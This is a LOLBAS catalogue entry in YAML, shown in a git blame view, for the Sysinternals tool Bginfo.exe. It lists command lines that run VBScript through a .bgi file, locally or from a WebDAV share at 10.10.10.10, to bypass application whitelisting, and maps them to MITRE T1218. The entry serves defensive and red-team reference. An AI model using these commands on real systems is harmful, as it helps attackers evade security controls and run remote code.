LOLBAS/yml/OtherMSBinaries/Bginfo.yml

67 lines
2.4 KiB
YAML
Raw Normal View History

2018-06-09 00:15:06 +02:00
---
Name: Bginfo.exe
2018-09-19 05:06:22 +02:00
Description: Background Information Utility included with SysInternals Suite
Author: 'Oddvar Moe'
2018-06-09 00:15:06 +02:00
Created: '2018-05-25'
Commands:
- Command: bginfo.exe bginfo.bgi /popup /nolicprompt
Description: Execute VBscript code that is referenced within the bginfo.bgi file.
Usecase: Local execution of VBScript
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
2018-06-09 00:15:06 +02:00
- Command: bginfo.exe bginfo.bgi /popup /nolicprompt
Description: Execute VBscript code that is referenced within the bginfo.bgi file.
2018-09-19 05:06:22 +02:00
Usecase: Local execution of VBScript
Category: AWL Bypass
2018-09-19 05:06:22 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
- Command: \\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
Usecase: Remote execution of VBScript
Description: Execute bginfo.exe from a WebDAV server.
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
2018-09-25 02:33:38 +02:00
- Command: \\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
2018-09-19 05:06:22 +02:00
Usecase: Remote execution of VBScript
2018-06-09 00:15:06 +02:00
Description: Execute bginfo.exe from a WebDAV server.
Category: AWL Bypass
2018-09-19 05:06:22 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
- Command: \\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
Usecase: Remote execution of VBScript
Description: This style of execution may not longer work due to patch.
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
2018-09-25 02:33:38 +02:00
- Command: \\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
2018-09-19 05:06:22 +02:00
Usecase: Remote execution of VBScript
2018-06-09 00:15:06 +02:00
Description: This style of execution may not longer work due to patch.
Category: AWL Bypass
2018-09-19 05:06:22 +02:00
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows
Full_Path:
- Path: No fixed path
Code_Sample:
2018-09-25 02:33:38 +02:00
- Code:
Detection:
- IOC:
2018-06-09 00:15:06 +02:00
Resources:
- Link: https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
2018-09-19 05:06:22 +02:00
Acknowledgement:
- Person: Oddvar Moe
Handle: '@oddvarmoe'
---